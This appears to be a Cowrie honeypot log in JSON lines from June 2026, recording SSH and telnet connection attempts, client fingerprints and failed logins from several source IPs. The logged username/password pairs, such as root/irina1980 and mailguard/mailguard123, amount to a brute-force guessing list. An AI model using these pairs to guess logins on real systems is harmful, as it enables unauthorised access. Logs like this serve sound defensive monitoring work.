{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":53282,"dst_ip":"159.203.135.109","dst_port":22,"session":"29a01eb65400","protocol":"ssh","message":"New connection: 109.237.96.109:53282 (159.203.135.109:22) [session: 29a01eb65400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:00.167228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:00.171340Z","src_ip":"109.237.96.109","session":"29a01eb65400","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:00.255220Z","src_ip":"109.237.96.109","session":"29a01eb65400","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"srinivas","message":"login attempt [root/srinivas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:00.509954Z","src_ip":"109.237.96.109","session":"29a01eb65400","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:00.830748Z","src_ip":"141.11.88.14","session":"4eb90fdb1b5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:01.596211Z","src_ip":"109.237.96.109","session":"29a01eb65400","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":27192,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a9a0982778d","protocol":"ssh","message":"New connection: 141.11.88.14:27192 (10.17.0.5:22) [session: 2a9a0982778d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:05.430716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:05.666885Z","src_ip":"141.11.88.14","session":"2a9a0982778d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:05.670625Z","src_ip":"141.11.88.14","session":"2a9a0982778d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123","message":"login attempt [testuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:06.536581Z","src_ip":"141.11.88.14","session":"2a9a0982778d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:07.623754Z","src_ip":"141.11.88.14","session":"2a9a0982778d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":20892,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca4c3c6a802a","protocol":"ssh","message":"New connection: 141.11.88.14:20892 (10.17.0.5:22) [session: ca4c3c6a802a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:12.614980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:12.721848Z","src_ip":"141.11.88.14","session":"ca4c3c6a802a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:12.728239Z","src_ip":"141.11.88.14","session":"ca4c3c6a802a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"password","message":"login attempt [username/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:13.989729Z","src_ip":"141.11.88.14","session":"ca4c3c6a802a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:15.268675Z","src_ip":"141.11.88.14","session":"ca4c3c6a802a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":53120,"dst_ip":"159.203.135.109","dst_port":23,"session":"f65f81f2ee68","protocol":"telnet","message":"New connection: 107.6.151.170:53120 (159.203.135.109:23) [session: f65f81f2ee68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:20.259492Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":62576,"dst_ip":"10.17.0.5","dst_port":22,"session":"83297473a26f","protocol":"ssh","message":"New connection: 141.11.88.14:62576 (10.17.0.5:22) [session: 83297473a26f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:21.557945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:21.599310Z","src_ip":"141.11.88.14","session":"83297473a26f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:21.653098Z","src_ip":"141.11.88.14","session":"83297473a26f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"password","message":"login attempt [appuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:22.135545Z","src_ip":"141.11.88.14","session":"83297473a26f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:23.231541Z","src_ip":"141.11.88.14","session":"83297473a26f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.253.37.225","src_port":33914,"dst_ip":"159.203.135.109","dst_port":22,"session":"0140586330d7","protocol":"ssh","message":"New connection: 211.253.37.225:33914 (159.203.135.109:22) [session: 0140586330d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:23.627475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:23.632122Z","src_ip":"211.253.37.225","session":"0140586330d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:23.903071Z","src_ip":"211.253.37.225","session":"0140586330d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mailguard","password":"mailguard123","message":"login attempt [mailguard/mailguard123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:24.767192Z","src_ip":"211.253.37.225","session":"0140586330d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:25.977349Z","src_ip":"211.253.37.225","session":"0140586330d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":59968,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ffd6cbf9989","protocol":"ssh","message":"New connection: 141.11.88.14:59968 (10.17.0.5:22) [session: 7ffd6cbf9989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:29.230966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:29.380432Z","src_ip":"141.11.88.14","session":"7ffd6cbf9989","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:29.384118Z","src_ip":"141.11.88.14","session":"7ffd6cbf9989","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":49154,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c98fb0d9146","protocol":"ssh","message":"New connection: 193.37.70.224:49154 (159.203.135.109:22) [session: 0c98fb0d9146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:29.681641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:29.689456Z","src_ip":"193.37.70.224","session":"0c98fb0d9146","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:29.778812Z","src_ip":"193.37.70.224","session":"0c98fb0d9146","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"irina1980","message":"login attempt [root/irina1980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:30.049851Z","src_ip":"193.37.70.224","session":"0c98fb0d9146","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:30.353158Z","src_ip":"141.11.88.14","session":"7ffd6cbf9989","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:31.151088Z","src_ip":"193.37.70.224","session":"0c98fb0d9146","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:31.449427Z","src_ip":"141.11.88.14","session":"7ffd6cbf9989","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":60036,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5fae41fbb27","protocol":"ssh","message":"New connection: 141.11.88.14:60036 (10.17.0.5:22) [session: d5fae41fbb27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:36.228468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:36.313270Z","src_ip":"141.11.88.14","session":"d5fae41fbb27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:36.318191Z","src_ip":"141.11.88.14","session":"d5fae41fbb27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":34324,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d901cf62ad5","protocol":"telnet","message":"New connection: 94.23.66.112:34324 (10.17.0.5:23) [session: 9d901cf62ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:36.528242Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38014,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd8fe527562c","protocol":"telnet","message":"New connection: 172.81.62.90:38014 (159.203.135.109:23) [session: bd8fe527562c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:37.501462Z"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"root","message":"login attempt [myuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:37.704266Z","src_ip":"141.11.88.14","session":"d5fae41fbb27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:39.080610Z","src_ip":"141.11.88.14","session":"d5fae41fbb27","protocol":"ssh"}
